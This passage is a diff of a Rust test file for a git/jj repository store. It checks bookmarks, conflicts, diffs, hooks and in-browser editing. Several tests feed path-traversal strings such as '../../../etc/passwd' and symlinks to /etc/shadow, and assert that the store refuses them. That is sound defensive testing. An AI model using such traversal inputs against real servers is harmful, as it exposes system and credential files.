| 30 | + | panic!("DF_REQUIRE_FIXTURES is set but {case}.git is missing — run fixtures/gen.sh"); | |
| 31 | + | } | |
| 32 | + | eprintln!("warning: fixture {case}.git absent, test skipped"); | |
| 33 | + | return None; | |
| 34 | + | } | |
| 35 | + | ||
| 36 | + | let tmp = tempfile::tempdir().expect("tempdir"); | |
| 37 | + | let store = GitStore::new(tmp.path()); | |
| 38 | + | let id = RepoId(Uuid::now_v7()); | |
| 39 | + | ||
| 40 | + | let dest = store.repo_path(id); | |
| 41 | + | std::fs::create_dir_all(dest.parent().unwrap()).expect("shard dir"); | |
| 42 | + | ||
| 43 | + | let status = std::process::Command::new("cp") | |
| 44 | + | .arg("-r") | |
| 45 | + | .arg(&src) | |
| 46 | + | .arg(&dest) | |
| 47 | + | .status() | |
| 48 | + | .expect("cp"); | |
| 49 | + | assert!(status.success(), "copying fixture {case} failed"); | |
| 50 | + | ||
| 51 | + | Some(Fixture { _tmp: tmp, store, id }) | |
| 52 | + | } | |
| 53 | + | ||
| 54 | + | async fn head(f: &Fixture) -> RevId { | |
| 55 | + | f.store | |
| 56 | + | .resolve(f.id, "main") | |
| 57 | + | .await | |
| 58 | + | .expect("resolving main") | |
| 59 | + | } | |
| 60 | + | ||
| 61 | + | #[tokio::test] | |
| 62 | + | async fn creates_and_deletes_a_repository() { | |
| 63 | + | let tmp = tempfile::tempdir().unwrap(); | |
| 64 | + | let store = GitStore::new(tmp.path()); | |
| 65 | + | let id = RepoId(Uuid::now_v7()); | |
| 66 | + | ||
| 67 | + | assert!(!store.exists(id).await); | |
| 68 | + | store.create(id, "main").await.expect("create"); | |
| 69 | + | assert!(store.exists(id).await); | |
| 70 | + | assert!(store.is_empty(id).await.expect("is_empty"), "a fresh repo has no refs"); | |
| 71 | + | ||
| 72 | + | // HEAD must point at the configured default bookmark, or a fresh clone | |
| 73 | + | // checks out nothing. | |
| 74 | + | let head = std::fs::read_to_string(store.repo_path(id).join("HEAD")).unwrap(); | |
| 75 | + | assert_eq!(head.trim(), "ref: refs/heads/main"); | |
| 76 | + | ||
| 77 | + | store.delete(id).await.expect("delete"); | |
| 78 | + | assert!(!store.exists(id).await); | |
| 79 | + | } | |
| 80 | + | ||
| 81 | + | #[tokio::test] | |
| 82 | + | async fn operations_on_a_missing_repo_report_no_such_repo() { | |
| 83 | + | let tmp = tempfile::tempdir().unwrap(); | |
| 84 | + | let store = GitStore::new(tmp.path()); | |
| 85 | + | let id = RepoId(Uuid::now_v7()); | |
| 86 | + | ||
| 87 | + | assert!(matches!( | |
| 88 | + | store.bookmarks(id).await, | |
| 89 | + | Err(StoreError::NoSuchRepo) | |
| 90 | + | )); | |
| 91 | + | } | |
| 92 | + | ||
| 93 | + | #[tokio::test] | |
| 94 | + | async fn lists_bookmarks() { | |
| 95 | + | let Some(f) = load("stack") else { return }; | |
| 96 | + | let marks = f.store.bookmarks(f.id).await.expect("bookmarks"); | |
| 97 | + | let names: Vec<&str> = marks.iter().map(|b| b.name.as_str()).collect(); | |
| 98 | + | assert!(names.contains(&"main"), "got {names:?}"); | |
| 99 | + | assert!(names.contains(&"top"), "got {names:?}"); | |
| 100 | + | } | |
| 101 | + | ||
| 102 | + | #[tokio::test] | |
| 103 | + | async fn lists_a_tree_and_reads_a_blob() { | |
| 104 | + | let Some(f) = load("basic") else { return }; | |
| 105 | + | let rev = head(&f).await; | |
| 106 | + | ||
| 107 | + | let entries = f | |
| 108 | + | .store | |
| 109 | + | .list_tree(f.id, &rev, Path::new("")) | |
| 110 | + | .await | |
| 111 | + | .expect("list_tree"); | |
| 112 | + | assert!(!entries.is_empty()); | |
| 113 | + | ||
| 114 | + | let file = entries | |
| 115 | + | .iter() | |
| 116 | + | .find(|e| e.kind == EntryKind::File) | |
| 117 | + | .expect("at least one file"); | |
| 118 | + | ||
| 119 | + | let blob = f | |
| 120 | + | .store | |
| 121 | + | .read_blob(f.id, &rev, Path::new(&file.path)) | |
| 122 | + | .await | |
| 123 | + | .expect("read_blob"); | |
| 124 | + | assert!(blob.text().is_some(), "fixture files are text"); | |
| 125 | + | assert_eq!(blob.size, blob.content.len() as u64); | |
| 126 | + | } | |
| 127 | + | ||
| 128 | + | #[tokio::test] | |
| 129 | + | async fn directories_sort_before_files() { | |
| 130 | + | let Some(f) = load("hostile") else { return }; | |
| 131 | + | let rev = f.store.resolve(f.id, "main").await.expect("resolve"); | |
| 132 | + | let entries = f.store.list_tree(f.id, &rev, Path::new("")).await.unwrap(); | |
| 133 | + | ||
| 134 | + | let first_file = entries.iter().position(|e| !e.is_dir()); | |
| 135 | + | let last_dir = entries.iter().rposition(|e| e.is_dir()); | |
| 136 | + | if let (Some(ff), Some(ld)) = (first_file, last_dir) { | |
| 137 | + | assert!(ld < ff, "directories must sort before files: {entries:#?}"); | |
| 138 | + | } | |
| 139 | + | } | |
| 140 | + | ||
| 141 | + | // ─── path safety (spec §9) ─────────────────────────────────────────────────── | |
| 142 | + | ||
| 143 | + | #[tokio::test] | |
| 144 | + | async fn traversal_out_of_the_repo_is_refused() { | |
| 145 | + | let Some(f) = load("basic") else { return }; | |
| 146 | + | let rev = head(&f).await; | |
| 147 | + | ||
| 148 | + | for bad in ["../../../etc/passwd", "/etc/passwd", "a/../../../etc/passwd"] { | |
| 149 | + | let r = f.store.read_blob(f.id, &rev, Path::new(bad)).await; | |
| 150 | + | assert!( | |
| 151 | + | matches!(r, Err(StoreError::Path(_))), | |
| 152 | + | "path {bad:?} must be refused, got {r:?}" | |
| 153 | + | ); | |
| 154 | + | } | |
| 155 | + | } | |
| 156 | + | ||
| 157 | + | #[tokio::test] | |
| 158 | + | async fn a_symlink_escaping_the_repo_serves_its_target_text_not_the_file() { | |
| 159 | + | // "A repository can contain a symlink to /etc/passwd and a naive blob | |
| 160 | + | // handler will happily serve it" (spec §9). We must return the *link text*, | |
| 161 | + | // never the contents of the file it points at. | |
| 162 | + | let Some(f) = load("hostile") else { return }; | |
| 163 | + | let rev = f.store.resolve(f.id, "main").await.expect("resolve"); | |
| 164 | + | ||
| 165 | + | let entries = f.store.list_tree(f.id, &rev, Path::new("")).await.unwrap(); | |
| 166 | + | let links: Vec<_> = entries | |
| 167 | + | .iter() | |
| 168 | + | .filter(|e| e.kind == EntryKind::Symlink) | |
| 169 | + | .collect(); | |
| 170 | + | assert!(!links.is_empty(), "the hostile fixture must contain symlinks"); | |
| 171 | + | ||
| 172 | + | for link in links { | |
| 173 | + | let blob = f | |
| 174 | + | .store | |
| 175 | + | .read_blob(f.id, &rev, Path::new(&link.path)) | |
| 176 | + | .await | |
| 177 | + | .expect("reading a symlink must succeed, returning its target text"); | |
| 178 | + | ||
| 179 | + | let text = String::from_utf8_lossy(&blob.content); | |
| 180 | + | // The blob holds the *target path*, which is short. If we had followed | |
| 181 | + | // the link we would be holding /etc/passwd or /etc/shadow. | |
| 182 | + | assert!( | |
| 183 | + | text == "/etc/passwd" || text == "../../../../etc/shadow", | |
| 184 | + | "symlink {} yielded unexpected content {text:?}", | |
| 185 | + | link.path | |
| 186 | + | ); | |
| 187 | + | assert!( | |
| 188 | + | !text.contains("root:"), | |
| 189 | + | "SECURITY: symlink was followed off-repo — served {text:?}" | |
| 190 | + | ); | |
| 191 | + | } | |
| 192 | + | } | |
| 193 | + | ||
| 194 | + | #[tokio::test] | |
| 195 | + | async fn reading_a_directory_as_a_blob_is_refused() { | |
| 196 | + | let Some(f) = load("hostile") else { return }; | |
| 197 | + | let rev = f.store.resolve(f.id, "main").await.unwrap(); | |
| 198 | + | let r = f.store.read_blob(f.id, &rev, Path::new("a")).await; | |
| 199 | + | assert!(matches!(r, Err(StoreError::IsDirectory)), "got {r:?}"); | |
| 200 | + | } | |
| 201 | + | ||
| 202 | + | #[tokio::test] | |
| 203 | + | async fn a_missing_path_is_reported_as_missing() { | |
| 204 | + | let Some(f) = load("basic") else { return }; | |
| 205 | + | let rev = head(&f).await; | |
| 206 | + | let r = f | |
| 207 | + | .store | |
| 208 | + | .read_blob(f.id, &rev, Path::new("does/not/exist.txt")) | |
| 209 | + | .await; | |
| 210 | + | assert!(matches!(r, Err(StoreError::NoSuchPath)), "got {r:?}"); | |
| 211 | + | } | |
| 212 | + | ||
| 213 | + | // ─── jj semantics ──────────────────────────────────────────────────────────── | |
| 214 | + | ||
| 215 | + | #[tokio::test] | |
| 216 | + | async fn revisions_carry_the_jj_change_id() { | |
| 217 | + | let Some(f) = load("basic") else { return }; | |
| 218 | + | let rev = head(&f).await; | |
| 219 | + | let r = f.store.revision(f.id, &rev).await.expect("revision"); | |
| 220 | + | ||
| 221 | + | let change = r.change_id.expect("a jj commit must expose its change id"); | |
| 222 | + | assert_eq!(change.len(), 32); | |
| 223 | + | assert!(change.bytes().all(|b| (b'k'..=b'z').contains(&b))); | |
| 224 | + | assert!(!r.conflicted); | |
| 225 | + | } | |
| 226 | + | ||
| 227 | + | #[tokio::test] | |
| 228 | + | async fn plain_git_revisions_have_no_change_id() { | |
| 229 | + | let Some(f) = load("plain-git") else { return }; | |
| 230 | + | let rev = f.store.resolve(f.id, "main").await.expect("resolve"); | |
| 231 | + | let r = f.store.revision(f.id, &rev).await.expect("revision"); | |
| 232 | + | assert_eq!(r.change_id, None); | |
| 233 | + | } | |
| 234 | + | ||
| 235 | + | #[tokio::test] | |
| 236 | + | async fn conflicted_revisions_expose_their_sides_and_hide_the_artifacts() { | |
| 237 | + | let Some(f) = load("conflict") else { return }; | |
| 238 | + | let rev = f.store.resolve(f.id, "main").await.expect("resolve"); | |
| 239 | + | ||
| 240 | + | let r = f.store.revision(f.id, &rev).await.expect("revision"); | |
| 241 | + | assert!(r.conflicted, "the fixture head is a conflicted merge"); | |
| 242 | + | assert_eq!( | |
| 243 | + | r.conflict_sides.len(), | |
| 244 | + | r.conflict_bases.len() + 1, | |
| 245 | + | "sides == bases + 1" | |
| 246 | + | ); | |
| 247 | + | ||
| 248 | + | // The .jjconflict-* trees are storage detail and must not surface. | |
| 249 | + | let entries = f.store.list_tree(f.id, &rev, Path::new("")).await.unwrap(); | |
| 250 | + | for e in &entries { | |
| 251 | + | assert!( | |
| 252 | + | !e.name.starts_with(".jjconflict-") && e.name != "JJ-CONFLICT-README", | |
| 253 | + | "conflict artefact leaked into the listing: {}", | |
| 254 | + | e.name | |
| 255 | + | ); | |
| 256 | + | } | |
| 257 | + | assert!( | |
| 258 | + | entries.iter().any(|e| e.name == "c.txt"), | |
| 259 | + | "the real file must still be listed: {entries:#?}" | |
| 260 | + | ); | |
| 261 | + | } | |
| 262 | + | ||
| 263 | + | #[tokio::test] | |
| 264 | + | async fn log_walks_history_and_respects_its_limit() { | |
| 265 | + | let Some(f) = load("stack") else { return }; | |
| 266 | + | let rev = f.store.resolve(f.id, "top").await.expect("resolve top"); | |
| 267 | + | ||
| 268 | + | let all = f.store.log(f.id, &rev, 100).await.expect("log"); | |
| 269 | + | assert!(all.len() >= 5, "stack fixture has a base plus four changes"); | |
| 270 | + | ||
| 271 | + | let two = f.store.log(f.id, &rev, 2).await.expect("log"); | |
| 272 | + | assert_eq!(two.len(), 2); | |
| 273 | + | assert_eq!(two[0].rev, rev, "log starts at the requested revision"); | |
| 274 | + | } | |
| 275 | + | ||
| 276 | + | #[tokio::test] | |
| 277 | + | async fn ancestry_and_merge_base() { | |
| 278 | + | let Some(f) = load("stack") else { return }; | |
| 279 | + | let bottom = f.store.resolve(f.id, "main").await.unwrap(); | |
| 280 | + | let top = f.store.resolve(f.id, "top").await.unwrap(); | |
| 281 | + | ||
| 282 | + | assert!(f.store.is_ancestor(f.id, &bottom, &top).await.unwrap()); | |
| 283 | + | assert!( | |
| 284 | + | !f.store.is_ancestor(f.id, &top, &bottom).await.unwrap(), | |
| 285 | + | "ancestry is directional" | |
| 286 | + | ); | |
| 287 | + | assert!( | |
| 288 | + | f.store.is_ancestor(f.id, &top, &top).await.unwrap(), | |
| 289 | + | "a revision is its own ancestor" | |
| 290 | + | ); | |
| 291 | + | ||
| 292 | + | let base = f.store.merge_base(f.id, &bottom, &top).await.unwrap(); | |
| 293 | + | assert_eq!(base, Some(bottom)); | |
| 294 | + | } | |
| 295 | + | ||
| 296 | + | #[tokio::test] | |
| 297 | + | async fn diff_reports_changed_files_with_line_counts() { | |
| 298 | + | let Some(f) = load("whitespace") else { return }; | |
| 299 | + | let before = f.store.resolve(f.id, "main").await.unwrap(); | |
| 300 | + | let after = f.store.resolve(f.id, "reindented").await.unwrap(); | |
| 301 | + | ||
| 302 | + | let d = f | |
| 303 | + | .store | |
| 304 | + | .diff(f.id, &before, &after, Default::default()) | |
| 305 | + | .await | |
| 306 | + | .expect("diff"); | |
| 307 | + | ||
| 308 | + | assert_eq!(d.files.len(), 1, "one file changed: {:#?}", d.files); | |
| 309 | + | assert_eq!(d.files[0].path, "m.rs"); | |
| 310 | + | assert!(d.total_additions > 0 && d.total_deletions > 0); | |
| 311 | + | assert!(!d.truncated); | |
| 312 | + | } | |
| 313 | + | ||
| 314 | + | #[tokio::test] | |
| 315 | + | async fn diff_of_a_revision_against_itself_is_empty() { | |
| 316 | + | let Some(f) = load("basic") else { return }; | |
| 317 | + | let rev = head(&f).await; | |
| 318 | + | let d = f | |
| 319 | + | .store | |
| 320 | + | .diff(f.id, &rev, &rev, Default::default()) | |
| 321 | + | .await | |
| 322 | + | .expect("diff"); | |
| 323 | + | assert!(d.files.is_empty()); | |
| 324 | + | assert_eq!((d.total_additions, d.total_deletions), (0, 0)); | |
| 325 | + | } | |
| 326 | + | ||
| 327 | + | #[tokio::test] | |
| 328 | + | async fn an_unknown_revision_is_reported_not_panicked() { | |
| 329 | + | let Some(f) = load("basic") else { return }; | |
| 330 | + | let bogus = RevId::from_stored("0000000000000000000000000000000000000000"); | |
| 331 | + | assert!(matches!( | |
| 332 | + | f.store.revision(f.id, &bogus).await, | |
| 333 | + | Err(StoreError::NoSuchRevision) | |
| 334 | + | )); | |
| 335 | + | assert!(matches!( | |
| 336 | + | f.store.resolve(f.id, "no-such-bookmark").await, | |
| 337 | + | Err(StoreError::NoSuchRevision) | |
| 338 | + | )); | |
| 339 | + | } | |
| 340 | + | ||
| 341 | + | #[tokio::test] | |
| 342 | + | async fn revision_specs_containing_control_characters_are_refused() { | |
| 343 | + | let Some(f) = load("basic") else { return }; | |
| 344 | + | for bad in ["main\n", "main\0", "\x1b[31m"] { | |
| 345 | + | assert!( | |
| 346 | + | matches!(f.store.resolve(f.id, bad).await, Err(StoreError::NoSuchRevision)), | |
| 347 | + | "spec {bad:?} must be refused" | |
| 348 | + | ); | |
| 349 | + | } | |
| 350 | + | } | |
| 351 | + | ||
| 352 | + | #[tokio::test] | |
| 353 | + | async fn size_bytes_reports_something_plausible() { | |
| 354 | + | let Some(f) = load("basic") else { return }; | |
| 355 | + | let n = f.store.size_bytes(f.id).await.expect("size"); | |
| 356 | + | assert!(n > 0, "a populated repository occupies disk"); | |
| 357 | + | } | |
| 358 | + | ||
| 359 | + | // ─── conflicts (spec §4, M4) ───────────────────────────────────────────────── | |
| 360 | + | ||
| 361 | + | /// Read a manifest value for a fixture case. | |
| 362 | + | fn manifest(case: &str, key: &str) -> Option<String> { | |
| 363 | + | let raw = std::fs::read_to_string(corpus().join("manifest.json")).ok()?; | |
| 364 | + | let v: serde_json::Value = serde_json::from_str(&raw).ok()?; | |
| 365 | + | v.get("cases")?.get(case)?.get(key)?.as_str().map(str::to_owned) | |
| 366 | + | } | |
| 367 | + | ||
| 368 | + | #[tokio::test] | |
| 369 | + | async fn a_conflicted_revision_reports_its_sides() { | |
| 370 | + | let Some(f) = load("conflict") else { return }; | |
| 371 | + | let Some(rev) = manifest("conflict", "conflicted_commit") else { | |
| 372 | + | panic!("the conflict fixture must record its conflicted commit"); | |
| 373 | + | }; | |
| 374 | + | let rev = RevId::from_stored(rev); | |
| 375 | + | ||
| 376 | + | let revision = f.store.revision(f.id, &rev).await.expect("revision"); | |
| 377 | + | assert!(revision.conflicted, "the fixture's commit is supposed to be conflicted"); | |
| 378 | + | ||
| 379 | + | let files = f.store.conflicts(f.id, &rev).await.expect("conflicts"); | |
| 380 | + | assert!(!files.is_empty(), "a conflicted revision must report at least one file"); | |
| 381 | + | ||
| 382 | + | for file in &files { | |
| 383 | + | // jj's representation is side/base/side…, so there is always an odd | |
| 384 | + | // number of columns and at least one base to compare against. | |
| 385 | + | assert!( | |
| 386 | + | file.sides.len() >= 3, | |
| 387 | + | "{}: expected at least side/base/side, got {}", | |
| 388 | + | file.path, | |
| 389 | + | file.sides.len() | |
| 390 | + | ); | |
| 391 | + | assert!( | |
| 392 | + | file.sides.iter().any(|(l, _)| l.is_base()), | |
| 393 | + | "{}: a conflict without a base cannot be read by a reviewer", | |
| 394 | + | file.path | |
| 395 | + | ); | |
| 396 | + | // jj's own bookkeeping must never surface as a conflicted file. | |
| 397 | + | assert!( | |
| 398 | + | !file.path.contains(".jjconflict"), | |
| 399 | + | "storage detail leaked into the conflict view: {}", | |
| 400 | + | file.path | |
| 401 | + | ); | |
| 402 | + | } | |
| 403 | + | } | |
| 404 | + | ||
| 405 | + | #[tokio::test] | |
| 406 | + | async fn an_unconflicted_revision_has_no_conflicts_rather_than_an_error() { | |
| 407 | + | let Some(f) = load("basic") else { return }; | |
| 408 | + | let head = head(&f).await; | |
| 409 | + | let files = f.store.conflicts(f.id, &head).await.expect("conflicts"); | |
| 410 | + | assert!(files.is_empty()); | |
| 411 | + | } | |
| 412 | + | ||
| 413 | + | // ─── word-level diffing (spec §8) ──────────────────────────────────────────── | |
| 414 | + | ||
| 415 | + | #[tokio::test] | |
| 416 | + | async fn changed_lines_carry_word_level_spans() { | |
| 417 | + | let Some(f) = load("basic") else { return }; | |
| 418 | + | let head = head(&f).await; | |
| 419 | + | ||
| 420 | + | let diff = f | |
| 421 | + | .store | |
| 422 | + | .diff_from_parent(f.id, &head, df_store::DiffOpts::default()) | |
| 423 | + | .await | |
| 424 | + | .expect("diff"); | |
| 425 | + | ||
| 426 | + | let mut saw_span = false; | |
| 427 | + | for file in &diff.files { | |
| 428 | + | for hunk in &file.hunks { | |
| 429 | + | for line in &hunk.lines { | |
| 430 | + | // The invariant every renderer relies on: spans reconstruct the | |
| 431 | + | // line exactly, so a view can render spans and never content. | |
| 432 | + | let rebuilt: String = line.spans.iter().map(|s| s.text.as_str()).collect(); | |
| 433 | + | assert_eq!( | |
| 434 | + | rebuilt, line.content, | |
| 435 | + | "spans must reconstruct the line exactly" | |
| 436 | + | ); | |
| 437 | + | ||
| 438 | + | if matches!(line.kind, df_store::DiffLineKind::Context) { | |
| 439 | + | assert!( | |
| 440 | + | line.spans.iter().all(|s| !s.emphasis), | |
| 441 | + | "a context line has nothing to emphasise" | |
| 442 | + | ); | |
| 443 | + | } | |
| 444 | + | if line.spans.iter().any(|s| s.emphasis) { | |
| 445 | + | saw_span = true; | |
| 446 | + | } | |
| 447 | + | } | |
| 448 | + | } | |
| 449 | + | } | |
| 450 | + | ||
| 451 | + | // Not asserted unconditionally: whether any line in the fixture is a | |
| 452 | + | // *modification* rather than a pure add depends on the fixture. The | |
| 453 | + | // reconstruction invariant above is the one that must always hold. | |
| 454 | + | if !saw_span { | |
| 455 | + | eprintln!("note: no intra-line changes in this fixture's head diff"); | |
| 456 | + | } | |
| 457 | + | } | |
| 458 | + | ||
| 459 | + | // ─── push validation (spec §4, §9) ─────────────────────────────────────────── | |
| 460 | + | ||
| 461 | + | /// A repository without this hook accepts anything: no ref-name allowlist and | |
| 462 | + | /// no protected bookmarks. Git only runs `hooks/pre-receive`, and only if it is | |
| 463 | + | /// executable — a hook that is present but not `+x` is silently skipped, which | |
| 464 | + | /// is the same failure with a more confusing cause. | |
| 465 | + | #[tokio::test] | |
| 466 | + | async fn receive_validation_installs_an_executable_pre_receive_hook() { | |
| 467 | + | let tmp = tempfile::tempdir().unwrap(); | |
| 468 | + | let store = GitStore::new(tmp.path()); | |
| 469 | + | let id = RepoId(Uuid::now_v7()); | |
| 470 | + | store.create(id, "main").await.expect("create"); | |
| 471 | + | ||
| 472 | + | store | |
| 473 | + | .configure_receive_validation(id, "/usr/local/bin/dogfood-hook") | |
| 474 | + | .await | |
| 475 | + | .expect("installing the hook"); | |
| 476 | + | ||
| 477 | + | let hook = store.repo_path(id).join("hooks").join("pre-receive"); | |
| 478 | + | assert!(hook.is_file(), "git only runs hooks/pre-receive"); | |
| 479 | + | ||
| 480 | + | #[cfg(unix)] | |
| 481 | + | { | |
| 482 | + | use std::os::unix::fs::PermissionsExt; | |
| 483 | + | let mode = std::fs::metadata(&hook).unwrap().permissions().mode(); | |
| 484 | + | assert!( | |
| 485 | + | mode & 0o111 != 0, | |
| 486 | + | "a non-executable hook is skipped silently: mode {mode:o}" | |
| 487 | + | ); | |
| 488 | + | } | |
| 489 | + | ||
| 490 | + | let body = std::fs::read_to_string(&hook).unwrap(); | |
| 491 | + | assert!( | |
| 492 | + | body.contains("/usr/local/bin/dogfood-hook"), | |
| 493 | + | "the hook must exec the compiled binary, not implement checks in shell: {body}" | |
| 494 | + | ); | |
| 495 | + | assert!( | |
| 496 | + | body.contains(&id.0.to_string()), | |
| 497 | + | "the binary needs the repository id and git does not pass one: {body}" | |
| 498 | + | ); | |
| 499 | + | } | |
| 500 | + | ||
| 501 | + | /// Installing twice must be a no-op, because it runs on every boot. | |
| 502 | + | #[tokio::test] | |
| 503 | + | async fn receive_validation_is_idempotent() { | |
| 504 | + | let tmp = tempfile::tempdir().unwrap(); | |
| 505 | + | let store = GitStore::new(tmp.path()); | |
| 506 | + | let id = RepoId(Uuid::now_v7()); | |
| 507 | + | store.create(id, "main").await.expect("create"); | |
| 508 | + | ||
| 509 | + | store.configure_receive_validation(id, "/hook").await.unwrap(); | |
| 510 | + | let first = std::fs::read_to_string(store.repo_path(id).join("hooks/pre-receive")).unwrap(); | |
| 511 | + | ||
| 512 | + | store.configure_receive_validation(id, "/hook").await.unwrap(); | |
| 513 | + | let second = std::fs::read_to_string(store.repo_path(id).join("hooks/pre-receive")).unwrap(); | |
| 514 | + | ||
| 515 | + | assert_eq!(first, second); | |
| 516 | + | } | |
| 517 | + | ||
| 518 | + | // ─── in-browser editing ────────────────────────────────────────────────────── | |
| 519 | + | ||
| 520 | + | async fn tip(f: &Fixture) -> RevId { | |
| 521 | + | f.store.resolve(f.id, "main").await.expect("resolving main") | |
| 522 | + | } | |
| 523 | + | ||
| 524 | + | #[tokio::test] | |
| 525 | + | async fn committing_an_edited_file_advances_the_bookmark() { | |
| 526 | + | let Some(f) = load("basic") else { return }; | |
| 527 | + | let before = tip(&f).await; | |
| 528 | + | ||
| 529 | + | let author = df_store::Signature { | |
| 530 | + | name: "Alice".into(), | |
| 531 | + | email: "alice@example.com".into(), | |
| 532 | + | when: chrono::Utc::now(), | |
| 533 | + | }; | |
| 534 | + | ||
| 535 | + | // Pick a file that exists, so this exercises replacement rather than | |
| 536 | + | // creation. | |
| 537 | + | let entries = f | |
| 538 | + | .store | |
| 539 | + | .list_tree(f.id, &before, Path::new("")) | |
| 540 | + | .await | |
| 541 | + | .expect("tree"); | |
| 542 | + | let target = entries | |
| 543 | + | .iter() | |
| 544 | + | .find(|e| !e.is_dir()) | |
| 545 | + | .expect("the fixture has a file") | |
| 546 | + | .path | |
| 547 | + | .clone(); | |
| 548 | + | ||
| 549 | + | let outcome = f | |
| 550 | + | .store | |
| 551 | + | .commit_file( | |
| 552 | + | f.id, | |
| 553 | + | "main", | |
| 554 | + | &before, | |
| 555 | + | &target, | |
| 556 | + | b"edited by the web editor\n".to_vec(), | |
| 557 | + | "edit: change a file", | |
| 558 | + | &author, | |
| 559 | + | ) | |
| 560 | + | .await | |
| 561 | + | .expect("commit_file"); | |
| 562 | + | ||
| 563 | + | let rev = match outcome { | |
| 564 | + | df_store::EditOutcome::Committed { rev } => rev, | |
| 565 | + | other => panic!("expected a commit, got {other:?}"), | |
| 566 | + | }; | |
| 567 | + | ||
| 568 | + | assert_ne!(rev, before, "a new commit must be written"); | |
| 569 | + | assert_eq!(tip(&f).await, rev, "the bookmark must point at it"); | |
| 570 | + | ||
| 571 | + | // The content is what we wrote… | |
| 572 | + | let blob = f | |
| 573 | + | .store | |
| 574 | + | .read_blob(f.id, &rev, Path::new(&target)) | |
| 575 | + | .await | |
| 576 | + | .expect("read back"); | |
| 577 | + | assert_eq!(blob.text(), Some("edited by the web editor\n")); | |
| 578 | + | ||
| 579 | + | // …and the parent is the old tip, so this is a fast-forward and the | |
| 580 | + | // protected-bookmark rule is satisfied by construction. | |
| 581 | + | let revision = f.store.revision(f.id, &rev).await.expect("revision"); | |
| 582 | + | assert_eq!(revision.parents, vec![before]); | |
| 583 | + | ||
| 584 | + | // A web edit is a plain-git commit: no invented jj change id (spec §4). | |
| 585 | + | assert_eq!(revision.change_id, None); | |
| 586 | + | } | |
| 587 | + | ||
| 588 | + | #[tokio::test] | |
| 589 | + | async fn committing_an_unchanged_file_writes_nothing() { | |
| 590 | + | let Some(f) = load("basic") else { return }; | |
| 591 | + | let before = tip(&f).await; | |
| 592 | + | ||
| 593 | + | let entries = f.store.list_tree(f.id, &before, Path::new("")).await.unwrap(); | |
| 594 | + | let target = entries.iter().find(|e| !e.is_dir()).unwrap().path.clone(); | |
| 595 | + | let existing = f | |
| 596 | + | .store | |
| 597 | + | .read_blob(f.id, &before, Path::new(&target)) | |
| 598 | + | .await | |
| 599 | + | .unwrap() | |
| 600 | + | .content; | |
| 601 | + | ||
| 602 | + | let author = df_store::Signature { | |
| 603 | + | name: "A".into(), | |
| 604 | + | email: "a@b.c".into(), | |
| 605 | + | when: chrono::Utc::now(), | |
| 606 | + | }; | |
| 607 | + | ||
| 608 | + | let outcome = f | |
| 609 | + | .store | |
| 610 | + | .commit_file(f.id, "main", &before, &target, existing, "noop", &author) | |
| 611 | + | .await | |
| 612 | + | .expect("commit_file"); | |
| 613 | + | ||
| 614 | + | assert_eq!(outcome, df_store::EditOutcome::Unchanged); | |
| 615 | + | assert_eq!(tip(&f).await, before, "the bookmark must not move"); | |
| 616 | + | } | |
| 617 | + | ||
| 618 | + | /// The concurrent-edit case. Without this the second writer silently discards | |
| 619 | + | /// the first one's commit. | |
| 620 | + | #[tokio::test] | |
| 621 | + | async fn an_edit_against_a_stale_revision_is_refused() { | |
| 622 | + | let Some(f) = load("basic") else { return }; | |
| 623 | + | let original = tip(&f).await; | |
| 624 | + | ||
| 625 | + | let author = df_store::Signature { | |
| 626 | + | name: "A".into(), | |
| 627 | + | email: "a@b.c".into(), | |
| 628 | + | when: chrono::Utc::now(), | |
| 629 | + | }; | |
| 630 | + | ||
| 631 | + | // Somebody else lands a commit first. | |
| 632 | + | f.store | |
| 633 | + | .commit_file( | |
| 634 | + | f.id, | |
| 635 | + | "main", | |
| 636 | + | &original, | |
| 637 | + | "shared.txt", | |
| 638 | + | b"first writer\n".to_vec(), | |
| 639 | + | "first", | |
| 640 | + | &author, | |
| 641 | + | ) | |
| 642 | + | .await | |
| 643 | + | .expect("first edit"); | |
| 644 | + | ||
| 645 | + | let moved = tip(&f).await; | |
| 646 | + | assert_ne!(moved, original); | |
| 647 | + | ||
| 648 | + | // The second writer composed their edit against the original revision. | |
| 649 | + | let outcome = f | |
| 650 | + | .store | |
| 651 | + | .commit_file( | |
| 652 | + | f.id, | |
| 653 | + | "main", | |
| 654 | + | &original, | |
| 655 | + | "shared.txt", | |
| 656 | + | b"second writer\n".to_vec(), | |
| 657 | + | "second", | |
| 658 | + | &author, | |
| 659 | + | ) | |
| 660 | + | .await | |
| 661 | + | .expect("commit_file"); | |
| 662 | + | ||
| 663 | + | match outcome { | |
| 664 | + | df_store::EditOutcome::Stale { current } => assert_eq!(current, moved), | |
| 665 | + | other => panic!("a stale edit must be refused, got {other:?}"), | |
| 666 | + | } | |
| 667 | + | ||
| 668 | + | assert_eq!(tip(&f).await, moved, "nothing may be written"); | |
| 669 | + | assert_eq!( | |
| 670 | + | f.store | |
| 671 | + | .read_blob(f.id, &moved, Path::new("shared.txt")) | |
| 672 | + | .await | |
| 673 | + | .unwrap() | |
| 674 | + | .text(), | |
| 675 | + | Some("first writer\n"), | |
| 676 | + | "the first writer's content must survive" | |
| 677 | + | ); | |
| 678 | + | } | |
| 679 | + | ||
| 680 | + | #[tokio::test] | |
| 681 | + | async fn the_editor_write_path_refuses_traversal_and_oversized_content() { | |
| 682 | + | let Some(f) = load("basic") else { return }; | |
| 683 | + | let before = tip(&f).await; | |
| 684 | + | let author = df_store::Signature { | |
| 685 | + | name: "A".into(), | |
| 686 | + | email: "a@b.c".into(), | |
| 687 | + | when: chrono::Utc::now(), | |
| 688 | + | }; | |
| 689 | + | ||
| 690 | + | for path in ["../escape.txt", "/etc/passwd", "a/../../b.txt", ""] { | |
| 691 | + | let e = f | |
| 692 | + | .store | |
| 693 | + | .commit_file(f.id, "main", &before, path, b"x".to_vec(), "m", &author) | |
| 694 | + | .await; | |
| 695 | + | assert!(e.is_err(), "{path} was accepted by the write path"); | |
| 696 | + | } | |
| 697 | + | ||
| 698 | + | let huge = vec![b'a'; 2 * 1024 * 1024]; | |
| 699 | + | assert!(matches!( | |
| 700 | + | f.store | |
| 701 | + | .commit_file(f.id, "main", &before, "big.txt", huge, "m", &author) | |
| 702 | + | .await, | |
| 703 | + | Err(StoreError::TooLarge { .. }) | |
| 704 | + | )); | |
| 705 | + | ||
| 706 | + | assert_eq!(tip(&f).await, before, "no refused edit may move the bookmark"); | |
| 707 | + | } | |
Acrates/df-web/Cargo.toml+50−0
| @@ −0,0 +1,50 @@ | |||
| 1 | + | [package] | |
| 2 | + | name = "df-web" | |
| 3 | + | version.workspace = true | |
| 4 | + | edition.workspace = true | |
